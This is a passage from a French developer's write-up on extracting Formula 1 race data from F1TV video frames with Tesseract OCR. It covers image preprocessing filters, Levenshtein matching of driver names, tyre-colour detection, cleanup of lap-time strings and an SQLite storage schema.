voir qu'il est flou, pour nous cela ne pose pas de probl\u00e8me et je pense que \u00e0 peu pr\u00e8s nimporte qui peut dire que c'est un 9. Cependant comme les contours sont flous et m\u00eame si on essaie de retirer le background : \"9 avec anti aliasing\" On voit que le 9 n'est pas clairement d\u00e9finit. En effet on pourrait le comprendre comme : \"Premier exemple de contours\" Ou comme : \"Second exemple de contours\" Voire m\u00eame simplement comme : \"Exemple de coutour g\u00e9n\u00e9reux\" Et on se rend bien compte que les performances de detection ne sont pas les m\u00eames dans ces trois cas. Il faut donc faire un certain post traitement des images pour supprimer les \u00e9l\u00e9ments parasites, les couleurs, et augmenter la visibilit\u00e9 des contours importants. Mais chaque type de donn\u00e9e va avoir des methodes de post traitement diff\u00e9rents. Donc voici les diff\u00e9rents types de reconnaissance et leur post traitements : Texte Alors ce type de reconnaissance est utilis\u00e9 par la WINDOW du nom de pilote et de la position du pilote. C'est je pense la plus simple de toutes car Tesseract est particuli\u00e8rement bien entrain\u00e9 pour. Cette reconnaissance concerne donc des lettres qui font des mots ou des noms. Voici un exemple de la WINDOW nom de pilote en entr\u00e9e : \"Exemple texte cru\" Ce texte peut paraitre bon, cependant quand on le lance dans Tesseract, il ne va pas toujours donner un r\u00e9sultat parfait. Il faut aussi savoir qu'il y a des noms pas mal plus p\u00e9nibles que Tesseract a plus de mal \u00e0 reconnaitres, soit \u00e0 cause des lettres utilis\u00e9es, soit car le nom est un nom d'une autre r\u00e9gion et qui ne veut rien dire en anglais ce qui emp\u00eache l'utilisation de dictionnaire (Ex : Tsunoda est un nom japonais et parfois il est difficile pour Tesseract de le reconnaitre car si une lettre pose probl\u00eame il ne peut pas trouver de contexte qui puisse l'aider). Donc pour le rendre plus facilement lisible et augmenter les chances que toutes les lettres soient d\u00e9couvertes, voici les \u00e9tapes que j'ai mis en place. 1 : J'inverse les couleurs. Je me suis rendu compte que il \u00e9tait souvent plus facile de trouver un noir sur blanc que blanc sur noir. Je ne suis pas sur que cette \u00e9tape soit capitale cependant. \"Texte invers\u00e9\" 2 : Je fais un Treshhold de 165 car avec moins le texte parfois prend trop du background et avec plus les lettres sont trop fines. \"Texte apr\u00e8s Treshold\" 3 : Je fais un Resize de l'image pour avoir une meilleure r\u00e9solution et permettre une meilleure d\u00e9tection. J'augmente la hauteur et la largeur par un facteur 2. J'ai trouv\u00e9 cette valeur suffisante et aller plus haut consomme beaucoup de ressources. \"Texte apr\u00e8s Resize\" 4: Je fais une tr\u00e8s rapide Dilatation du texte pour retirer le flou amen\u00e9 par la methode de Resize. Je n'utilise qu'une valeur de 1 car je ne veux pas trop changer comment le texte est model\u00e9 je veux juste retirer le flou. \"Texte apr\u00e8s Dilatation\" Explication des methodes pr\u00e9cises plus bas Voila pour ce qui est du post processing. Je ne dis pas que ce sont les meilleurs param\u00eatres possibles mais dans mes tests ce sont ceux qui ont le mieux march\u00e9s. C'est aussi les premi\u00e8res methodes que j'ai pu d\u00e9velopper alors forc\u00e9ment elles n'ont pas le niveau de d\u00e9tails de certaines autres. Mais comme m\u00eame avec ce traitement il n'est pas rare que je me retrouve avec une ou deux lettres pas justes, il faut un moyen d'\u00eatre s\u00fbr que c'est le bon nom qui est trouv\u00e9. Ce qu'il y a de pratique avec les noms de pilotes c'est que on sait d\u00e9ja comment ils s'appellent avant le Grand Prix. En effet dans le fichier de configuration de la reconnaissance, il y a une liste de noms de pilotes. Cela veut dire que au lieu de chercher \u00e0 trouver parfaitement les bonnes lettres, on peut simplement essayer de trouver quel nom de pilote ressemble le plus au nom trouv\u00e9 sur l'image. Pour ce faire j'ai utilis\u00e9 une methode appel\u00e9e la distance de Levenshtein. Pour faire simple c'est une methode qui va calculer les distances de lettres pour determiner entre des strings laquelle ressemble le plus \u00e0 une autre. Pour r\u00e9sumer le fonctionnement dans lordre : On prend l'image on la traite On envoie l'image trait\u00e9e \u00e0 Tesseract On trouve quel nom de pilote ressemble le plus \u00e0 ce r\u00e9sultat On renvoie le nom du pilote Chiffres Cette methode en r\u00e9alit\u00e9 utilise simplement la m\u00eame methode que celle qui va r\u00e9cup\u00e8rer le texte sur une image. Cependant, la, on envoie \u00e0 Tesseract l'information qu'il ne peut trouver que des chiffres sur l'image ce qui lui permet d'\u00eatre beaucoup plus pr\u00e9cis et de ne pas confondre un 9 avec un P ou un 11 avec un H PAR EXEMPLE (non pas que ca me soit arriv\u00e9 tr\u00e8s r\u00e9guli\u00e8rement et que ca me soit rest\u00e9 dans la gorge \u00e9videmment) L'avantage c'est que cette methode ne demande m\u00eame pas de traitement de la donn\u00e9e en sortie de Tesseract. On \u00e9sp\u00e8re simplement que le post traitement aura suffit. TEMPS : Cette methode regroupe la d\u00e9tection de temps au tour. Il y a trois grands types de WINDOW qui sont concern\u00e9es : La WINDOW du temps au tour La WINDOW du retard sur le leader La WINDOW des secteurs La grande diff\u00e9rence ce sont les ordres de grandeur. Les temps au tour sont en g\u00e9n\u00e9ral entre 50 secondes et 2 minutes. Tandis que les secteurs sont entre 20 et 30 secondes alors que le retard sur le leader peut-\u00eatre de plusieurs minutes. Cependant, tous ces temps poss\u00e8dent le m\u00eame type de post-traitement avant d'\u00eatre envoy\u00e9s \u00e0 Tesseract. Voici un exemple de temps au tour avant toute transformation : \"Temps au tour avant traitement\" On peut avoir l'impression que ce texte est tout \u00e0 fait lisible et facile \u00e0 d\u00e9coder surtout quand on le voit de loin comme ca. Cependant, il faut imaginer que ces chiffres font 13 pixels de haut en comptant le flou et comme expliqu\u00e9 plus haut ce flou dans ces echelles est terrible. \"Temps au tour zoom\u00e9\" Si on donne cette image \u00e0 Tesseract, les '3' deviennent des '9', des '9' deviennent des '8', des '2' deviennent eux aussi des '9', le tout parfois inversement et de mani\u00e8re compl\u00eatement impr\u00e9visible. Ca n'est simplement pas utilisable. Cette partie est un peu plus complexe car si la detection n'est pas fiable les chiffres sont simplement inutilisables. Si \u00e0 tout moment un temps au tour de 1:39.106 devient 1:32.108 c'est juste pas possible. Voici donc les \u00e9tapes de post-traitement que j'ai mis en place pour leur d\u00e9tection : 1: J'applique un Treshold de 185 pour enlever les ambiguit\u00e9s d'alisaising et avoir une image en noir et blanc claire. La valeur de 185 est assez \u00e9lev\u00e9e car le but est de vraiment garder uniquement les contours. Comme les chiffres se ressemlent beaucoup plu que les lettres, il faut tenter le plus possible de conserver leur formes sp\u00e9cifiques. Je me suis rendu compte que cette valeur \u00e9tait une de celles qui marchent le mieux. \"Temps au tour apr\u00e8s Treshold\" 2: J'applique un Resize de 2 pour augmenter la r\u00e9solution des chiffres et permettre une meilleure d\u00e9tection. Le but est d'avoir plus de pixels et donc de permettre \u00e0 Tesseract de mieux utiliser ses matrices de convolution. \"Temps au tour apr\u00e8s Resize\" 3: Comme le Resize am\u00e8ne du flou, j'utilise une methode de Dilatation qui me permet de retirer ce flou et de remplir un peu plus certaines parties qui ont \u00e9t\u00e9 un peu laiss\u00e9e par le Resize ; \"Temps au tour apr\u00e8s Dilatation\" 4: Contrairement aux mots plus haut, la rondeur ajout\u00e9e par la dilatation n'est pas vraiment d\u00e9sir\u00e9e. En effet, elle peut rendre confuse certains chiffres et emp\u00eacher Tesseract de bien trouver le chiffre. Alors j'applique une Erosion qui me permet de contrecarrer en partie les rondeurs ajout\u00e9es par la dilatation et retrouver des chiffres bien form\u00e9es. Pour l' Erosion et la Dilatation j'ai utilis\u00e9 une valeur de 1 car je ne voulais pas trop changer les chiffres. \"Temps au tour apr\u00e8s Erosion\" Explication des methodes pr\u00e9cises plus bas Et avec ce post processing on retrouve de plut\u00f4ts bon r\u00e9sultats qui demandent peu de traitement. Le traitement d\u00e9pend du type de WINDOW cependant. Pour les secteurs on indique \u00e0 Tesseract que les caract\u00e8res autoris\u00e9s sont : \"0123456789.\" Pour les temps au tour on autorise plut\u00f4t \"0123456789.:\" Et pour les \u00e9carts on autorise \"0123456789.+\" Ensuite on r\u00e9cup\u00e8re une liste de chiffres qui'il va falloir transformer en milisecondes pour faciliter le stockage et l'envoi. Le programme nettoie un peu la chaine avant de la convertir. Par exemple parfois le ':' de 1:34.456 est compris comme un '1' ou un '2' et il faut faire attention \u00e0 detecter quand ca arriver. Je passe les d\u00e9tails du reste du nettoyage car c'est vraiment du cas par cas mais quand on a finit de nettoyer la chaine on peut transformer les chaines de minutes secondes et milisecondes en un total de milisecondes. Pour r\u00e9sumer le fonctionnement dans l'ordre : On prend l'image et on lui applique une s\u00e9rie de filtres On envoie l'image filtr\u00e9e \u00e0 Tesseract On nettoie le r\u00e9sultat Tesseract pour compenser certains biais On convertis le r\u00e9sultat en milisecondes les chiffres (2) Il faut savoir que avec la derni\u00e8re version de l'\u00e9mulateur (dont je vais parler un peu plus tard) Pneus La on arrive sur la partie la plus p\u00e9nible. Pour comprendre la probl\u00e9matique il faut d'abord faire un petit point sur comment les pneus fonctionnent en Formule 1. Depuis 2019 en Formule 1 nous avons 5 grandes familles de pneus : Les pneus tendres Les pneus medium Les pneus durs Les pneus interm\u00e9diaires Les pneus pluie \"Gamme de pneus Pirelli\" Les trois premiers pneus sont des pneus faits pour piste s\u00e8che, le pneu interm\u00e9diaire pour piste humide et le neu pluie pour la pluie. Chaque pneu a sa dur\u00e9e de vie et son niveau de performance propre mais je ne vais pas rentrer dans le d\u00e9tail ici. Tout ce qu'il faut savoir ce que savoir sur quel pneu chaque pilote est et depuis combien de temps il les chausse est une information tr\u00e8s importante. Chaque pneu a une couleur donn\u00e9e qui permet de les diff\u00e9rencier. Voici un exemple de ce \u00e0 quoi une WINDOW de pneus peut ressembler : \"Exemple zone pneus 1\" Mais cette zone peut aussi ressembler \u00e0 ca : \"Exemple zone pneus 2\" Mais aussi \u00e0 ca : \"Exemple zone pneus 3\" Voire m\u00eame ca : \"Exemple zone pneus 4\" Je pense que vous pouvez tout de suite comprendre la difficult\u00e9 que repr\u00e9sente la t\u00e2che de r\u00e9cup\u00e8ration de donn\u00e9es \u00e0 partir de cette image. En gros le fonctionnement de cette zone d'information est assez simple. Au fur et \u00e0 mesure que la course avance, le trait fait de m\u00eame. Le chiffre dans le round tout \u00e0 droite indique le nombre de tour que le pilote a pass\u00e9 sur ce pneu. La couleur indique le type de pneu. Si il y a une lettre \u00e0 la place d'un chiffre c'est que c'est le premier tour sur ce pneu. La lettre indique le type de pneu. Et pas besoin de dire que si on essaie simplement de donner l'image \u00e0 Tesseract on ne r\u00e9cup\u00e8re ni les chiffres ni les lettres correctement si ce n'est pas du tout. Il faut donc utiliser une methode qui permette d'isoler le rond le plus \u00e0 droite, lui appliquer un traitement qui permette \u00e0 Tesseract de lire ce qu'il y a marqu\u00e9 et qui puisse determiner quel pneu est en train d'\u00eatre utilis\u00e9. J'ai d\u00e9cid\u00e9 de m'occuper dans un premier temps de trouver ce rond avant d'appliquer les filtres car plus l'image est petite plus les filtres sont rapides. Le programme va tirer un trait depuis le bord droit de la zone, et il va avancer vers la gauche jusqu'\u00e0 trouver un obstacle. Je d\u00e9tecte un obstacle si le pixel sur lequel est mon trait poss\u00e8de une valeur de plus de 0x50 dans le channel R,G ou B. J'ai trouv\u00e9 en faisant des tests que les couleurs de background de la F1TV ne d\u00e9passaient jamais ces valeurs. Ensuite apr\u00e8s avoir trouv\u00e9 le premier obstacle, je r\u00e9cup\u00e8re une zone qui doit englober le cercle. Voici un exemple avec cette image en entr\u00e9e : \"Zone compl\u00eate\" Elle est automatiquement coup\u00e9e de cette facon : \"Zone coup\u00e9e automatiquement\" Cela me permet d'isoler uniquement ce qui m'int\u00e9resse ce qui est tr\u00e8s pratique pour Tesseract et pour la detection de couleur. Ensuite avec cette image je peux commencer le processus de reconnaissance. Je commence par faire une moyenne de tous les pixels de l'image en excluant les pixels trop sombres qui font s\u00fbrement partie du background ou du chiffre. Ensuite j'utilise une methode qui calcule la diff\u00e9rence entre la couleur obbtenue et la liste de couleurs possible. Il y a cinq couleurs des pneus possibles : \"#ff0000\" pneu tendre/soft \"Couleur d'un pneu tendre\" \"#f5bf00\" pneu medium \"Couleur d'un pneu medium\" \"#a4a5a8\" pneu dur/hard \"Couleur d'un pneu dur\" \"#00a42e\" pneu inter \"Couleur d'un pneu interm\u00e9diaire\" \"#2760a6\" pneu pluie/wet \"Couleur d'un pneu pluie\" Ce qui est pratique c'est que m\u00eame dans les cas ou il n'y a pas beaucoup de couleur comme celui la : \"Pneu dur avec 0 tours\" On arrive \u00e0 une couleur moyenne de : \"Couleur moyenne de l'image ci dessus apr\u00e8s soustraction du background\" Et il est donc assez facile de determiner le type de pneu en question. Attention, les r\u00e9sultats peuvent \u00eatre tr\u00e8s vite d\u00e9rang\u00e9s par la couleur du pneu pr\u00e9c\u00e9dent si le d\u00e9coupage de la fen\u00eatre n'a pas \u00e9t\u00e9 assez pr\u00e9cis. Ensuite il \"suffit\" de lire le chiffre dans le rond et si on arrive pas \u00e0 le lire alors c'est que c'est une lettre et on sait que le nombre de tours est donc de 0. Maintenant vient le moment tr\u00e8s sympatique de la lecture du chiffre. Vous saurez que Tesseract en plus de detester les grandes images et les images avec des couleurs, deteste \u00e9galement les formes dans une image. Donc dans notre cas, le round de couleur autour du chiffre, m\u00eame si il n'est pas complet, il interf\u00e8re avec la reconnaissance et emp\u00eache de bien lire le chiffre. Il faut donc retirer le background et ensuite la couleur. Sauf que comme le chiffre est de la couleur du background, si on retire le background et ensuite la couleur il ne reste plus rien. Il faut donc retirer le background AUTOUR du rond, et ensuite si on retire la couleur il devrait rester le chiffre sur fond blanc. Pour se faire, j'ai tir\u00e9 des traits depuis les bords de l'image jusqu'\u00e0 ce qu'ils rencontrent le rond. Ensuite je retire tous les pixels entre le rond et les bords de l'image ce qui nous donne ceci : \"Zone pneu avec le background en moins\" Ensuite on peu retirer les pixels qui ont une valeur dans un channel RGB plus haute qu'un certain seuil : \"Zone avec le reste des couleurs supprimm\u00e9es\" Et la on a ce que l'on veut ! A partir de la c'est les filtres que l'on connait qui sont utilis\u00e9s pour en faire une image plus facile \u00e0 utiliser par Tesseract. 1 : On effectue un Resize de facteur 4 (oui c'est beaucoup mais en m\u00eame temps le chiffre est vraiment petit \u00e0 la base) qui permet d'avoir une image d'une bien meilleure r\u00e9solution. \"Filtre 1\" 2: On fait une Dilatation de facteur 1 pour retirer tout le flou de l'image pour aider Tesseract \"Resultat\" Et on a un chiffre qui est utilisable par Tesseract ! Explication des methodes pr\u00e9cises plus bas Pour r\u00e9sumer : On prend l'image de la zone et on la crop pour ne garder que la partie essentielle On d\u00e9termine le type de pneu avec la couleur moyenne de la zone On retire le background autour de cette zone On retire la couleur qui reste pour ne garder que le chiffre On augmente la r\u00e9solution du chiffre On rend ce chiffre net On envoie l'image trait\u00e9e et filtr\u00e9e \u00e0 Tesseract On d\u00e9termine le nombre de tours que le pilote a fait avec ses pneus avec le r\u00e9sultat de Tesseract DRS Bon ca c'\u00e9tait plut\u00f4t simple j'ai simplement v\u00e9rifi\u00e9 si la moyenne de vert d\u00e9passait une certaine valeur et puis voila. Filtres et methodes sur les images Dans ce projet on a du utiliser diff\u00e9rentes methodes d'\u00e9dition d'image que ce soit sous forme de filtres ou de modification de l'image directement. Voici un sommaire des methodes utilis\u00e9es et comment elles fonctionnent. Tresholding Cette methode sert \u00e0 passer d'une image en couleurs \u00e0 une image binaire noir blanc. C'est une \u00e9tape tr\u00e8s importante pour l'OCR car elle permet (si bien faite) d'isoler du texte de son background. Un exemple ici : \"Exemple treshold\" Le fonctionnement est assez simple mais il peut \u00eatre fait de diff\u00e9rentes mani\u00e8res mais dans mon cas voici comment l'algorythme fonctionne sachant qu'il demande en entr\u00e9e la Bitmap que l'on veut modifier ainsi que la valeur de Treshold : On parcours chaque pixel de l'image On convertir la couleur du pixel en une valeur de gris pour avoir la m\u00eame valeur en R,G et B (Formule utilis\u00e9e : grey = R x 0.3 + G x 0.59 + B x 0.11) Si le r\u00e9sultat de la valeur de gris est au dessus de la valeur de treshold, le pixel est pass\u00e9 en blanc complet et dans le cas contraire il est pass\u00e9 en noir complet On retourne la Bitmap modifi\u00e9e Un algorythme pas forc\u00e9ment complexe mais qui peut augmenter de mani\u00e8re titanesque les chances de r\u00e9ussir une OCR Resize Cette methode sert \u00e0 augmenter la r\u00e9solution d'une image pour am\u00e9liorer la pr\u00e9cision de l'algorythme de Tesseract. En effet, avec trop peu de pixels, la matrice de convolution n'est pas toujours aussi efficace. Il ne faut pas confondre cette methode d'augmentation de la taille avec une simple interpolation. En effet une augmentation de taille interpol\u00e9e ne vas pas vraiment changer la r\u00e9solution, l'image sera toujours aussi pixelis\u00e9e, seulement, les pixels seront compos\u00e9es de plus de pixels comme dans l'exemple ci dessous : \"Exemple d'interpolation lin\u00e9aire\" Dans mon projet j'utilise de l'interpolation bicubique qui va cr\u00e9er de l'information pour tenter de combler le vide et produire une image r\u00e9ellement plus grande et avec plus de details mais en ajoutant du flou. \"Exemple des diff\u00e9rents types d'interpolation\" Le but est d'aller chercher dans les pixels alentours les couleurs qui sont d\u00e9ja pr\u00e9sente et de jouer avec des poids pour tenter de faire une pr\u00e9diction de ce que ce pixel aurait \u00e9t\u00e9 si l'image avait plus de detail. Voici un exemple assez parlant : \"Exemple interpolation bicubique (avant)\" \"Exemple interpolation bicubique (apr\u00e8s)\" On pourrait croire que c'est inutile mais dans le contexte de Tesseract ajouter des d\u00e9tails pour tenter de simuler une meilleure r\u00e9solution m\u00eame en cr\u00e9ant du flou est int\u00e9ressant pour mieux remplir la matrice de convolution. Mais il est possible de r\u00e9duire ce flou avec d'autres m\u00e9thodes \u00e9galement. (Dans mon code je n'ai pas utilis\u00e9 du code fait main mais j'utilise une librairie qui me permet de le faire) Il faut simplement faire attention car c'est un proc\u00e9d\u00e9 assez lourd en performances. Dilatation et Erosion Cette methode et la suivante font partie des methodes de transformation morphologiques. Ces methodes sont utilis\u00e9es pour accentuer les formes et les epaissir ou les r\u00e9duire et les affiner. Elles poss\u00e8dent l'aventage \u00e9galement de retirer le flou d'une image ce qui est tr\u00e8s pratique si utilis\u00e9 apr\u00e8s l'utilisation de methodes comme Resize . Je ne vais pas trop rentrer dans les d\u00e9tails de ces methodes car leur fonctionnement est un peu plus lourd en math si on veut faire une v\u00e9ritable explication du pourquoi et du comment ca marche aussi bien. Pour notre projet je dirais que l'important est de savoir que ce sont deux outils tr\u00e8s pratiques pour changer la morphologie des lettres et des chiffres et qu'on peut les utiliser pour corriger du flou et/ou des art\u00e9facts apparus lors de la binarisation de l'image ou de la suppression de fond. Remove Background Cette methode est assez simple et est juste une methode qui va passer en revue tous les pixels de l'image et si la couleur d'un pixel s'apparente \u00e0 celle d'un pixel de fond il est pass\u00e9 en noir total ou en blanc total. Le but est de permettre au reste du programme de fonctionner avec des couleurs moins ambigues. Une variante sp\u00e9cialis\u00e9e pour la reconnaissance des pneus appel\u00e9e affectueusement Remove Useless cherche \u00e0 atteindre le m\u00eame bu mais est bien plus soffistiqu\u00e9e et sp\u00e9cialis\u00e9e pour retirer le background autour d'un cercle de couleur pour ensuite retirer la couleur et qu'il ne reste qu'un chiffre. Pour plus de details voir la detection de pneus. Il y aussi d'autre methodes comme un filtre Gaussien ou Highlight countour que j'ai du d\u00e9velopper mais que je n'ai pas utilis\u00e9 donc je ne vais pas en parler ici. Petit point r\u00e9solution Comme on peut l'imaginer la r\u00e9solution est extr\u00eamement importante pour l'OCR. Et en avancant sur le projet de l'\u00e9mulateur je me suis rendu compte qu'il \u00e9tait possible de r\u00e9cup\u00e8rer des images en 4K (Plut\u00f4t 1080 avec l'upscaling du lecteur). Cela est une superbe nouvelle car cela permet de simplifier \u00e9norm\u00e9ment le processing sur les diff\u00e9rentes windows. Quelques exemples pour se faire une id\u00e9e \"Echantillon 720P\" ; \"Echantillon 1080P\" \"Echantillon 4K\" Mais il faut savoir que gr\u00e2ce \u00e0 cette simplification j'ai pu aussi cr\u00e9er d'autres methodes de filtrage pour certaines parties. Mais la simplification \u00e9tait obligatoire car avec des images aussi grande il n'\u00e9tait simplement pas possible de venir appliquer les m\u00eames filtres car le temps de traitement serait beaucoup plus long. J'indique ces changements que apr\u00e8s l'explication d'avant car ce sont des changements un peu de derni\u00e8re minute et que la logique expliqu\u00e9e plus haut a \u00e9t\u00e9 tr\u00e8s importante pour le projet OCR m\u00eame si tout n'est plus forc\u00e9ment utilis\u00e9 maintenant que j'ai des images de meilleure qualit\u00e9. Dans la version actuellement disponible la reconnaissance a \u00e9t\u00e9 simplifi\u00e9e sous cette forme : Le \"GapToLeader\" est d\u00e9cod\u00e9 avec un premier passage de Tresholding \u00e0 165 puis un Resize de 2 et une Dilatation de 1 pour retirer le flou Les \"Sectors\" sont d\u00e9cod\u00e9s en utilisant une toute nouvelle methode VanishOxyAction \u00e0 cause des couleurs parfois appliqu\u00e9es et ensuite simplement une methode de Tresholding de 150 pour rendre le r\u00e9sultat assez propre pour l'OCR. Le \"LapTime\" est dabord pass\u00e9 par un Tresholding tr\u00e8s strict de 185 pour pr\u00e9parer la SobelEdgeDetection qui est \u00e9galement une nouvelle methode qu'il a \u00e9t\u00e9 possible d'utiliser gr\u00e2ce \u00e0 la simplification du reste des processus. Le \"Text\" est d\u00e9cod\u00e9 simplement avec un tresholding de 165 maintenant gr\u00e2ce \u00e0 l'image 4K. Les pneus ont leur propre traitement comme expliqu\u00e9 plus haut auquel on ajoute la Dilatation de 1. Comme on peut le voir le traitement est pas mal plus simple mais cela ne veut pas dire que les autres methodes que je n'utilise plus ne sont pas utiles. La reconnaissance n'est pas encore parfaite et je pense que leur utilisation pourrait aider \u00e0 am\u00e9liorer les r\u00e9sultats. (Et parfois ces anciennes methodes sont utiles dans les traitements personnalis\u00e9s des windows elle m\u00eames comme par exemple les pneus qui utilisent la methode GrayScale pour isoler les couleurs) VanishOxyAction Cette methode est une methode plut\u00f4t simple mais qui est importante. Elle se base beaucoup sur le code de la methode Grayscale et sur la methode Tresholding car elle essaie de regrouper le meilleur des deux en r\u00e8glant quelques soucis que ces derni\u00e8res cr\u00e9\u00e9ent. Le soucis avec la methode grayscale c'est que quand le texte est de couleur (Ce qui arrive souvent pour les temps de secteurs) la methode GrayScale rend les couleurs dans une nuance de gris un peu trop sombre ce qui fait que ensuite la methode de Tresholding d\u00e9fonce tout. \"Exemple de secteur en couleur\" \"Exemple de secteur en grayscale\" L'id\u00e9e est alors de prendre pour chaque pixel et de garder uniquement la valeur de R,G ou B la plus haute et de mettre les deux autres canaux au m\u00eame niveau pour avoir une image blanchie qui puisse \u00eatre ensuite utilis\u00e9e avec la methode de Tresholding sans soucis. \"Exemple de secteur blanchi avec vanishoxyAction\" SobelEdgeDetection On pourrait se dire que avec ce genre de methode le tresholding est inutile ensuite mais ca n'est pas le cas car le tresholding sert ensuite pour rendre les contours plus ou moins aggressif. Car m\u00eame si l'image ressemble \u00e0 une image binaris\u00e9e, il reste des nuances que le treshold va pouvoir utiliser. SobelEdgeDetection Cette methode est une methode assez classique que je n'ai pas design\u00e9 moi m\u00eame alors je ne vais pas trop m'\u00e9pancher dessus. En gros on utilise une matrice et une formule math\u00e9matique pour redessiner une image et le r\u00e9sultat est une image avec des contours. Je ne l'ai utilis\u00e9 que pour les temps au tour car ce sont les plus r\u00e9calcitrants. Cette methode a besoin d'une image pass\u00e9e en noir et blanc au pr\u00e9alable \u00e0 laquelle on applique ensuite les matrrices de filtres. Et avec ces filtres ajout\u00e9s \u00e0 l'image on peut ensuite calculer le \"Gradient\" pour cr\u00e9er les bords. Le seul soucis de cette methode c'est qu'elle est assez gourmande et qu'elle fournit des formes creuses d\u00fb \u00e0 la nature des matrices donn\u00e9es. Voici un exemple de ce dont cette m\u00e9thode est capable : Artefacts de la detection de bords de Sobel Apparemment l'OCR aime assez bien cette methode et elle permet de beaucoup moins souvent oublier les '.' ou ':' Traitement des donn\u00e9es C'est bien gentil de recevoir des r\u00e9sultats de l'OCR, cependant on ne peut pas souvent les utiliser comme tels. En effet les resultats ne sont pas tr\u00e8s constants et demandent d'\u00eatre verifi\u00e9s pour savoir si ils doivent \u00eatre pris en compte. Le post traitement de ces donn\u00e9es d\u00e9pend compl\u00eatement du contexte et donc il est diff\u00e9rent pour chque type de window. Voici un floril\u00e8ge des diff\u00e9rents types de traitements : Traitement du nom de pilote Rien de plus que ce qui est d\u00e9ja d\u00e9taill\u00e9 dans la partie OCR Traitement des pneus Pareil Traitement des temps La par contre c'est int\u00e9ressant. Dans un monde parfait je pourrais simplement prendre les r\u00e9sultats de l'OCR et les traiter directement. Mais comme nous vivons dans un monde ou la souffrance et la douleur sont les seules choses autoris\u00e9es on ne peut pas. Le probl\u00e8me vient du fait que les temps que l'on peut trouver sur la F1TV sont encod\u00e9s avec des '.' et des ':' qui determinent les limites entre les chiffres qui d\u00e9signent les minutes, les secondes et les milisecondes. Et le soucis avec ces s\u00e9parateurs c'est qu'ils aiment bien mettre le chaos dans la reconnaissance. Quand ils ne sont pas compris comme des autres chiffres ils sont parfois simplement oubli\u00e9s ou pris en double c'est un enfer. Il faut donc trouver un moyen de detecter quand cela arrive. Et je n'ai pas trouv\u00e9 de meilleur moyen que de faire du cas par cas. Cela peut para\u00eetre simple quand on parle par exemple des secteurs. On sasit que on attend deux chiffres avant un '.' et trois chiffres apr\u00e8s. Il est donc facile de voir que si je trouve six chiffres et pas de s\u00e9paration le troisi\u00e8me est le s\u00e9parateur mal compris. Mais l'exemple qui d\u00e9truit vraiment tout c'est les \u00e9carts avec le leader. Autant un temps au tour c'est toujours x:xx.xxx et un temps de secteur c'est xx.xxx. Mais un \u00e9cart avec le leader ca peut \u00eatre 0.345 comme 1:12.345. Ce qui fait que quand je 121345 est-ce que c'est 12.345 ou 1:21.345...? Souvent on peut quand m\u00eame d\u00e9duire mais cela demande de pr\u00e9voir presque tous les cas limites ce qui est assez p\u00e9nible. On pourrait se dire qu'il suffit de voir si la valeur est trop en dehors des normes. Le soucis c'est que il n'est pas impossible que un temps au tour ou un \u00e9cart prenne d'un coup une grosse diff\u00e9rence. Cela arrive m\u00eame assez souvent quand des pilotes sortent de la piste. \"Exemple temps au tour\" \"Exemple temps secteur\" Pour ce qui est du DRS et de la position des pilotes, il n'y a pas vraiment de traitement suppl\u00e9mentaire. Non pas car la detection est parfaite, mais par ce que la detection ne peut pas rater de 200 facons. Le DRS ne peut retourner que TRUE ou FALSE et la position du pilote est entre 1 et 20 compris. Le peu de nuance fait que ce sont des cas de figures qui ne demandent pas un traitement particulier au del\u00e0 de l'OCR Stockage des donn\u00e9es Dans ce projet le but n'est pas simplement de trouver les donn\u00e9es et les afficher. L'int\u00e9r\u00eat de les r\u00e9cup\u00e8rer est de pouvoir les comparer \u00e0 d'autres donn\u00e9es pr\u00e9c\u00e9dentes. Le vrai soucis de la F1TV c'est justement que l'on ne peut pas facilement voir les \u00e9volutions. On ne peut voir que des \"photos\" de la situation actuelle de la course. Il faut donc garder en m\u00e9moire les diff\u00e9rentes choses qui se sont pass\u00e9es. Techniquement on pourrait stocker ces donn\u00e9es dans de b\u00eates listes C#. Mais le soucis avec ca c'est que m\u00eame si des outils comme LinQ existent, ca n'est pas le plus pratique quand on veut faire des recherches complexes. Il faut aussi voir que si le projet dans sa forme actuelle aurait peut-\u00eatre pu se satisfaire de listes simples, le but est d'ensuite pouvoir construire sur ces bases pour faire des predictions et des insertions de stats beaucoup plus int\u00e9ressantes qui demandent de faire des requ\u00eates complexe rapidement. Je me suis dit que la meilleure methode serait d'avoir une base de donn\u00e9e dans laquelle je peux faire des requ\u00e8tes SQL. Mais commme je n'ai pas besoin de toutes les features de SQl et que je ne veut pas avoir \u00e0 g\u00e8rer un serveur de base de donn\u00e9e et tout ce qui va avec je me suis dit qu'une bonne option serait d'utiliser SQLITE. \"Logo Sqlite\" ; SQLITE est vraiment pratique car cela me permet d'avoir une DB sans avoir de serveur donc pas vraiment complexe ou quoi que ce soit mais qui conserve les aventages de rapidit\u00e9 et d'utilisation de requetes SQl. J'ai cr\u00e9\u00e9 trois tables dans cette base de donn\u00e9e SQLITE que voici : Base de donn\u00e9e Drivers Colonne Type de Data Description Tag ID INTEGER ID du pilote PRIMARY Name VARCHAR Nom du pilote NOT NULL Pitstops Colonne Type de Data Description Tag Lap INTEGER Tour durant lequel le Pitstop a \u00e9t\u00e9 effectu\u00e9 PRIMARY DriverID INTEGER Pilote qui a effectu\u00e9 le Pitstop PRIMARY Tyre VARCHAR Pneu chauss\u00e9 par le pilote NOT NULL Stats Colonne Type de Data Description Tag Lap INTEGER Tour durant lequel le Pitstop a \u00e9t\u00e9 effectu\u00e9 PRIMARY DriverID INTEGER Pilote qui concern\u00e9 PRIMARY Tyre VARCHAR Pneu chauss\u00e9 par le pilote NOT NULL LapTime INTEGER Temps au tour (MS) NOT NULL Sector1 INTEGER Temps du secteur 1 (MS) NOT NULL Sector2 INTEGER Temps du secteur 2 (MS) NOT NULL Sector3 INTEGER Temps du secteur 3 (MS) NOT NULL GapToLeader INTEGER Ecart avec le leader (MS) NOT NULL Position INTEGER Position pilote NOT NULL La table Drivers sert juste \u00e0 stocker les diff\u00e9rents noms de pilote pour qu'ils soient utilis\u00e9s dans le reste de la DB La table Pitstops n'est pas vraiment utilis\u00e9e dans l'\u00e9tat actuel du projet. Mais le but \u00e9tait de la remplir d\u00e8s que le programme d\u00e9tectais un arr\u00eat aux stands. Le but est ensuite de pouvoir construire un classement pond\u00e8r\u00e9 en fonction des arr\u00eats des diff\u00e9rents pilotes et d'afficher la stats tout le temps sur l'affichage principal. Elle n'est pas vraiment utilis\u00e9e car la detection de pitstop n'a pas pu \u00eatre commpl\u00eat\u00e9e. De par la nature des donn\u00e9es r\u00e9cup\u00e8r\u00e9es des pneus et des positions, c'est tr\u00e8s difficile de detecter avec prescision un arr\u00eat aux stands. La table Stats est la plus importante car elle 